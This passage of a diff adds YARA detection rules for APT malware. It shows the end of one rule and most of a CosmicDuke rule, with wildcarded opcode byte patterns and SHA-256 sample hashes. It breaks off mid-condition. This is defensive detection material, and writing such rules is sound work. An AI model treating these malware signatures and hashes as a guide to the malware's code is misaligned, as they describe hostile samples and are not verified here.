+		$block_68 = { 5? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 5? 8B ?? 5? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_71 = { 8D ?? ?? 99 8B ?? 2B ?? D1 ?? 89 ?? ?? 8B ?? 39 ?? ?? 0F 8C }
+		$block_72 = { 83 ?? ?? 89 ?? ?? 8B ?? 8B ?? 83 ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_73 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_74 = { 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_75 = { 33 ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_76 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_77 = { FF D? 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_78 = { 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 33 ?? 85 ?? 0F 84 }
+		$block_79 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 8B ?? 8B ?? 8B ?? ?? FF D? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_81 = { 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_82 = { C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_83 = { 8B ?? ?? ?? 83 ?? ?? 33 ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 85 }
+		$block_84 = { 33 ?? 39 ?? ?? C6 ?? ?? ?? 0F 94 ?? 8B ?? 83 ?? ?? 72 }
+		$block_85 = { 8B ?? ?? 8B ?? 8B ?? ?? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_87 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 85 }
+		$block_88 = { 8B ?? B8 ?? ?? ?? ?? D3 ?? 8B ?? 23 ?? ?? 3B ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_91 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 5? 8B ?? 83 ?? ?? 0F 86 }
+		$block_92 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 80 7? ?? ?? 8D ?? ?? 75 }
+		$block_93 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? 8D ?? ?? 89 ?? ?? 3B ?? 73 }
+		$block_94 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 8B ?? ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? FF D? 85 ?? 0F 84 }
+		$block_98 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_99 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "65a2ca760bfce4762cd1cb3623c7d5d0ff86187d3bf3ba8fdea1339585a57ec2" or
+		hash.sha256(0, filesize) == "0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade" or
+		hash.sha256(0, filesize) == "366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b" or
+		hash.sha256(0, filesize) == "ddce4b5e1c03d04bb82780a2d0f08469bb589b6fe8f0d4cc2a140b16344f5bd1" or
+		hash.sha256(0, filesize) == "49dca913ff5c4782e8f8fa2dfd161110bc5c8cd36c9ce8aa0efd1860ab668e6e" or
+		hash.sha256(0, filesize) == "d04bef6765408d528fdf82a46c157b44e8b5e7762a15b0264033c9558ccc48dd" or
+		hash.sha256(0, filesize) == "c47f2973f077f21abfb202b54ea18ee2a182e4305ee0046c1bc6d15a1179a43c" or
+		hash.sha256(0, filesize) == "3877a522c924f834e442ef19d9b11ab6d3385849e60d5f310f6320e2d9e42804" or
+		hash.sha256(0, filesize) == "df818c2dccacc532ba0205749329b7e46d1f6616b40da55e0d994105bd988bd2" or
+		hash.sha256(0, filesize) == "489d448514a3ddf30144cc1634e6623e529dd3aee54a050a920a3d4342b4b96a" or
+		hash.sha256(0, filesize) == "0474111e44b9aa56d6e6024c6f278e915d57b7862ceb927672fc3417f76a3ba3" or
+		hash.sha256(0, filesize) == "4558eb18504f724e4f33f1504ff924ce64701d26d703cf1e42a48504e7f51927" or
+		hash.sha256(0, filesize) == "8d86c0985530271618a342579afd1a9ecb27dfb080866e3b888bd3e45e1eb8f5" or
+		hash.sha256(0, filesize) == "567332c2a6813d529bcb9196102ad45eceb982143e9d2f326f02cec1511954b0" or
+		hash.sha256(0, filesize) == "a9e2d988781e970882fb1cee420bf01dda30730046a82f0faf4703523842feb5" or
+		hash.sha256(0, filesize) == "930939256e2c2fa30e7260897d96859c08cf767664e4bd3cedf156b6765b5413" or
+		hash.sha256(0, filesize) == "bd589360b299dc4803aa35abca527137a51feadae2b1e3bc2b5a301bb5b245da" or
+		hash.sha256(0, filesize) == "6271c4909f39e1f29dcc79cde0f526cbde45d906726e73bd3b52d041a34eda38" or
+		hash.sha256(0, filesize) == "540913b3647c28a14418a6f288be9e4d8f99048227efea8ca1b13877269002eb" or
+		hash.sha256(0, filesize) == "3af9cfb2797bed22e1d12970d068d794270a0f07d3f3dcfdcdb9abfc3a80e0f8" or
+		hash.sha256(0, filesize) == "97afcd01e00d32dc4d1161d7a127933593cfc092ec635af5dc7a775a088b6091" or
+		hash.sha256(0, filesize) == "316528ade312cc5ed76f0b44c7f2c2fc84f60ae215992d9393f57431383cf776" or
+		hash.sha256(0, filesize) == "d07a802eb6d2c296c3f1bc726b5a716c4a7d8e97053c53e81658a31f969e6ce7" or
+		hash.sha256(0, filesize) == "c218b779461d83d70791e0578175503cd69128c9723f2c5d7d36b85073b0f2f9" or
+		hash.sha256(0, filesize) == "ef0fab7757a6b5e842297fa2e0dc7a7ce084278c5d12b878bba7d90759a0e22b" or
+		hash.sha256(0, filesize) == "ac9c7ac457a605ff836eb6fe127eabc7a251dd73ea0a1fa59a591de30fa75d3f" or
+		hash.sha256(0, filesize) == "df03f0ae0622f5040bf449ab8b7559a97da7f746cc2ce24a8ad5336b18699296" or
+		12 of them
+}
+
+rule CosmicDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8A ?? 8B ?? ?? 8B ?? 8B ?? 8B ?? ?? 6A ?? FF D? 0F B6 ?? 83 ?? ?? 8B ?? D3 ?? 09 ?? 80 F? ?? 72 }
+		$block_1 = { 5? FF 1? ?? ?? ?? ?? 5? B0 ?? 5? 4? 06 25 ?? ?? ?? ?? 5? 5? 5? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 }
+		$block_2 = { A1 ?? ?? ?? ?? 8B ?? ?? 5? 6A ?? 6A ?? 81 C? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_5 = { 8B ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? F6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_6 = { 8B ?? 99 6A ?? 5? F7 ?? 0F B6 ?? ?? ?? 2B ?? 03 ?? ?? 8A ?? ?? ?? 88 ?? ?? ?? 4? 3B ?? ?? 72 }
+		$block_7 = { 8B ?? 99 6A ?? 5? F7 ?? 0F B6 ?? ?? ?? 2B ?? 8B ?? ?? 03 ?? 8A ?? ?? 88 ?? ?? ?? 4? 3B ?? 72 }
+		$block_8 = { 01 ?? 28 ?? ?? 84 ?? ?? 04 ?? 00 ?? ?? D7 05 ?? ?? ?? ?? 5? F1 4? 00 ?? ?? ?? ?? ?? A8 ?? 74 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 5? 4? 1D ?? ?? ?? ?? 2D ?? ?? ?? ?? D2 ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_10 = { 12 ?? ?? 04 ?? 06 35 ?? ?? ?? ?? 4? 10 ?? ?? ?? ?? ?? 01 ?? 4? 27 11 ?? ?? ?? ?? ?? 0B ?? 75 }
+		$block_11 = { C6 ?? ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? 99 01 ?? 5? B3 ?? 11 ?? ?? 38 ?? 74 }
+		$block_12 = { 33 ?? 6A ?? 8D ?? ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 74 }
+		$block_13 = { 8B ?? 99 83 ?? ?? 8D ?? ?? 8B ?? 99 83 ?? ?? 8D ?? ?? C1 ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 7F }
+		$block_14 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? 4? C1 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 87 }
+		$block_16 = { 01 ?? 08 ?? 8B ?? ?? ?? ?? ?? 61 07 0C ?? 16 83 ?? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 04 ?? 74 }
+		$block_17 = { 5? 5? 8D ?? ?? 5? 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 33 ?? 81 7? ?? ?? ?? ?? ?? 5? 0F 85 }
+		$block_19 = { 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? 74 }
+		$block_20 = { 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 8D ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_21 = { 8D ?? ?? E8 ?? ?? ?? ?? 12 ?? ?? ?? ?? ?? 15 ?? ?? ?? ?? 4? FC E8 ?? ?? ?? ?? 3B ?? 74 }
+		$block_22 = { 08 ?? ?? E8 ?? ?? ?? ?? 09 ?? ?? ?? ?? ?? ?? 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0E B1 ?? 00 }
+		$block_23 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_25 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_26 = { 88 ?? ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_27 = { 6A ?? 5? FF 7? ?? 8D ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? 0F 8E }
+		$block_28 = { 0F B7 ?? ?? ?? 83 ?? ?? 0F AF ?? ?? ?? 0F AF ?? ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 89 }
+		$block_29 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? ?? 89 ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? C1 ?? ?? 33 ?? 33 ?? 85 ?? 0F 8E }
+		$block_31 = { A1 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_32 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? F7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 8B ?? ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? 83 ?? ?? 33 ?? 88 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 89 ?? ?? FF 7? ?? FF 1? 5? A1 ?? ?? ?? ?? 0E 88 ?? 08 ?? ?? FF 1? 9? 08 ?? ?? CA }
+		$block_35 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 5? 6A ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_37 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 4? C1 }
+		$block_38 = { 12 ?? ?? 00 ?? ?? AB 25 ?? ?? ?? ?? FF 3? DB ?? ?? ?? ?? ?? 32 ?? ?? 1C ?? 75 }
+		$block_39 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? FF 4? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 66 ?? ?? ?? C6 ?? ?? 66 ?? ?? ?? 83 ?? ?? FF 4? ?? 89 ?? ?? 0F 85 }
+		$block_41 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_42 = { 5? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_43 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 88 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 2B ?? ?? 66 ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_45 = { 5? 68 ?? ?? ?? ?? FF 7? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_46 = { 89 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_47 = { 5? FF 7? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 5? C9 C3 }
+		$block_48 = { A1 ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? C1 ?? ?? 33 ?? 85 ?? 88 ?? ?? ?? 0F 8E }
+		$block_49 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 38 ?? ?? 5? 5? 0F 84 }
+		$block_50 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 83 ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_51 = { 5? 5? B0 ?? 4? 07 05 ?? ?? ?? ?? 4? 04 ?? 65 ?? 00 ?? ?? 85 ?? 0F 84 }
+		$block_52 = { FF 0? ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_53 = { B8 ?? ?? ?? ?? 2B ?? 4? 89 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_54 = { A1 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_55 = { 8B ?? ?? 8B ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_56 = { 68 ?? ?? ?? ?? FF D? 81 4? ?? ?? ?? ?? ?? 4? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_57 = { 0F B6 ?? ?? FF 8? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 4? 3B ?? 72 }
+		$block_58 = { 8D ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 5? F7 ?? 33 ?? 88 ?? 85 ?? 74 }
+		$block_59 = { 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_60 = { 0C ?? 83 ?? ?? 0E BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 0E 5? 11 ?? ?? EB }
+		$block_61 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_62 = { FF 7? ?? E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 01 ?? ?? F7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_65 = { 5? 8B ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 5? 5? 3B ?? 0F 84 }
+		$block_66 = { 4? F4 8B ?? 0F AF ?? 85 ?? 22 ?? 1C ?? 83 ?? ?? ?? 85 ?? 0F 84 }
+		$block_67 = { 0F B6 ?? ?? 99 0F A4 ?? ?? C1 ?? ?? 01 ?? 11 ?? ?? 38 ?? ?? 74 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? A9 ?? ?? ?? ?? 0F 85 }
+		$block_69 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_70 = { 6A ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_71 = { 8B ?? ?? ?? 5? FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_72 = { FF 4? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_73 = { 83 ?? ?? ?? 8B ?? ?? 5? 8B ?? 5? 64 ?? ?? ?? ?? ?? ?? C9 C2 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 0F AF ?? ?? 2B ?? 3B ?? 7C }
+		$block_75 = { 39 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_76 = { 8B ?? ?? 8B ?? 5? 8D ?? ?? 5? 6A ?? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_77 = { 68 ?? ?? ?? ?? FF D? 83 ?? ?? ?? 4? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_78 = { 8B ?? ?? 83 ?? ?? 2B ?? 8D ?? ?? ?? 8B ?? 3B ?? ?? 0F 85 }
+		$block_79 = { 68 ?? ?? ?? ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 5? 89 ?? 60 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 8B ?? 85 ?? 74 }
+		$block_81 = { 33 ?? 4? 85 ?? 01 ?? 4? 4? 37 01 ?? 03 ?? C9 4? 3B ?? 7E }
+		$block_82 = { 0F B6 ?? ?? 99 C1 ?? ?? 83 ?? ?? 11 ?? ?? 38 ?? ?? 5? 74 }
+		$block_83 = { 8B ?? ?? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_84 = { 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 30 ?? 4? 3B ?? ?? 0F 8C }
+		$block_85 = { 21 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 5? ?? 6D 02 ?? E3 }
+		$block_86 = { 5? 0A ?? ?? 01 ?? 33 ?? EE 17 04 ?? 89 ?? ?? 04 ?? 70 }
+		$block_87 = { 5? FF 7? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_88 = { 8B ?? 2B ?? 03 ?? 89 ?? ?? 8B ?? ?? 2B ?? 3B ?? 0F 83 }
+		$block_89 = { 0F B6 ?? ?? 99 C1 ?? ?? 83 ?? ?? 11 ?? ?? 38 ?? ?? 74 }
+		$block_90 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_91 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? F6 ?? ?? 0F 84 }
+		$block_92 = { 8B ?? ?? 89 ?? ?? 83 ?? ?? F7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_93 = { 83 ?? ?? 8D ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_94 = { 8B ?? ?? 8B ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_95 = { 80 8? ?? ?? ?? ?? ?? F8 2A ?? ?? 8B ?? ?? 85 ?? 74 }
+		$block_96 = { 0F B6 ?? 03 ?? 3B ?? 89 ?? ?? 0F 96 ?? 84 ?? 74 }
+		$block_97 = { A1 ?? ?? ?? ?? FF 4? ?? C1 ?? ?? 39 ?? ?? 0F 8C }
+		$block_98 = { 68 ?? ?? ?? ?? 1E 0E C4 ?? 18 ?? ?? 85 ?? 0F 84 }
+		$block_99 = { 5? D5 ?? 10 ?? 81 F? ?? ?? ?? ?? 08 ?? ?? 1F 01 }
+
+	condition:
+		hash.sha256(0, filesize) == "c9f5a19c7b11fd866483adc93aa5bc4bd3515bd995ca79297b227e3e5ef1a665" or
+		hash.sha256(0, filesize) == "41d63d293a6e2722fcf82f8bf67b8f566bd4d3f669ede146ccc286f0228d8f62" or
+		hash.sha256(0, filesize) == "7c14761d20617ab7f408d6c63367f16026377d7c13f3e3c67525e034fc0c6d7c" or
+		hash.sha256(0, filesize) == "9ce93f04dbb6a3b833f1146a54dadfdc224fdf24e3cca1f8a1eb4e902d597ff6" or
+		hash.sha256(0, filesize) == "5ef73d904cf5dcbec5919fba0b640168d6feb8f7021507568297e3da1a7e47a5" or
+		hash.sha256(0, filesize) == "831267e0977becf098b5064aac6fd39b5f8e6fd975c06d4b8540cea71d402317" or
+		hash.sha256(0, filesize) == "182ab7eb1dce2827a05aff0d83a13dd8346bd3b8ab2dfb681817a0d3aab05b15" or
+		hash.sha256(0, filesize) == "246543cc4a538472bed0626c159715a963e39dfc69d79f60c3ab227c62277016" or
+		hash.sha256(0, filesize) == "51b4e69183f3d02124f3314cc64a7869425f053d8021c74c12f21d7c2afe2163" or
+		hash.sha256(0, filesize) == "3c5d2fcacafc21d9f43c595ddf03bec801ccb958b8641018612c21bc741800d0" or
+		hash.sha256(0, filesize) == "4bc8280a99d07165055fabed11049d8da275f27f5d8cffc4ed10a68be2d0cb84" or
+		hash.sha256(0, filesize) == "92172ff7bfeee332409a145bc626bebf732225d006877168f35c046368e5118c" or
+		hash.sha256(0, filesize) == "5b50e26a01b320f05d66727e9d220d5858cdac203ff62e4b9ced1cafc2683637" or
+		hash.sha256(0, filesize) == "29585bb17b28e8b15b2a250be9516f416fa7cac84cc24aa4e004f6987323147e" or
+		hash.sha256(0, filesize) == "f21794d0b0938643e2aabe9f2ed762528e631a2ebda76020d0b59ce91fb51e41" or
+		hash.sha256(0, filesize) == "2c480399bff7d05736caa1858fd43d9223df3fd531ae574dc3c9eb06cc3579ef" or
+		hash.sha256(0, filesize) == "75e8567e7667eb02eec661134ecc07a7970d9448fc5b7dc021b5bcb039953a47" or
+		hash.sha256(0, filesize) == "2e8aa9dac584a51c7d960baccf76747c858175573f5c013b7c44328f0871da04" or
+		hash.sha256(0, filesize) == "6322e8bbb5a7cc542a7da0fb33a60fc7443bcbd8601b828c9c7f138c71cce090" or
+		hash.sha256(0, filesize) == "008beba8635e24baa50beee2e98654f73c04476a06fdcb893655f0a8201932d2" or
+		hash.sha256(0, filesize) == "d5f1d8d2629b91744fe812207cb3f0bebfd1aec9937b7744a263d1a4e3421063" or
+		hash.sha256(0, filesize) == "1590bdbaff2c178387e924b689b030057b4cbd2865e9c4dd3886a8791ac8e4ee" or
+		hash.sha256(0, filesize) == "68355d29ce79a5177084fe6292f0f8b9daa2018c571b552fff9f4a0815b432ce" or
+		hash.sha256(0, filesize) == "1005b40f977b92cbc01b7a66558ff0621cbaf36f7b4b2ab2ca3c3a267891bc8d" or
+		hash.sha256(0, filesize) == "aecb468db5cebcfa25deadeb3b12fbc48b05a485b44deb500b4002521bc3e685" or
+		hash.sha256(0, filesize) == "027c9da59c77e83b42535a0c965c4994a144715e796453fc2a5b189f0036c4b4" or
+		hash.sha256(0, filesize) == "4f9b6a88245f782d81e9eec9315b9444c83d68941f9fc23641e3909c8da9db9d" or
+		hash.sha256(0, filesize) == "334ed05005ce829224d0dd4cc5baab6b837cf02ac0e321c8f97d11b3ba1c77a7" or
+		hash.sha256(0, filesize) == "73aac0b568f83746c9a54a2a6fdd2984c3e6f8d0c77a681c219abb9480859197" or
+		hash.sha256(0, filesize) == "bd4928921ddadb44f9f573da61dac034533bf14fe38acd5754f3ccec1d566300" or
+		hash.sha256(0, filesize) == "3d37e753812687fb7287cf8644d13fe2673ea7c3b540637c1ce1c6819f1c521b" or
+		hash.sha256(0, filesize) == "1c86bcc74684c2533026a8b4d9463ad4b5a1f30f6915ca19197b41e0cb893b77" or
+		hash.sha256(0, filesize) == "38c0252f75b1c6b3980e40bb69cb932773a6e0b189fc8a80efc2dcb455209eab" or
+		hash.sha256(0, filesize) == "a8200a476f72ef77f4cd6bd71ebae9f473e923b140600b9da0bbaf1f22e1cecb" or
+		hash.sha256(0, filesize) == "70a7248b90573ba2edde5d9e8f0acd478235054480d98b0531d85725555f3a5c" or
+		hash.sha256(0, filesize) == "a1176b60ca96cfeb37dde61bde935f645a64fabd8e300f072fc355434b711dcf" or
+		hash.sha256(0, filesize) == "2146da9bc0e27d7eb10983b7dd89f250fa0015ce284dde8f0bb6a79626d34a2a" or
+		hash.sha256(0, filesize) == "fe5bc1248fc79fc15663ef169f0a269c1abe847d00b01e9571fe5c0d760d68f0" or
+		hash.sha256(0, filesize) == "0a013787f9c1731213059f2d8e1a7514f610783aaaea8fa5736063ab7793c0d7" or
+		hash.sha256(0, filesize) == "64e3a2bba82027dd6ff631fa5890a7ba8331b62a0a4c0b1ca24d143c2b61c323" or
+		hash.sha256(0, filesize) == "2eafc64769c500d635b7225c9b1411db8f50db8618e4d5807e1640b641a2f5ee" or
+		hash.sha256(0, filesize) == "16870c6b572934f5a106d5f632b6d41bb23924c12ddf172be24c6dfca25226b1" or
+		hash.sha256(0, filesize) == "3e889cd495e008760fd12751d6d45cadf8a7280c4545f2ebe469f84b9b77c835" or
+		hash.sha256(0, filesize) == "7c2bb277e3a982e9e2f76da2c96119514dde4f3e36b16eca5994be5f28bd0029" or
+		hash.sha256(0, filesize) == "9c2562e05eb940ae8d73c9baa7cfe85cb3ec619689227f65e4fbeeb3fec598ad" or
+		hash.sha256(0, filesize) == "ec49400e70c02a884a5df74ca99690886ec2d528e200c42dbdf057fd9b7f87f8" or
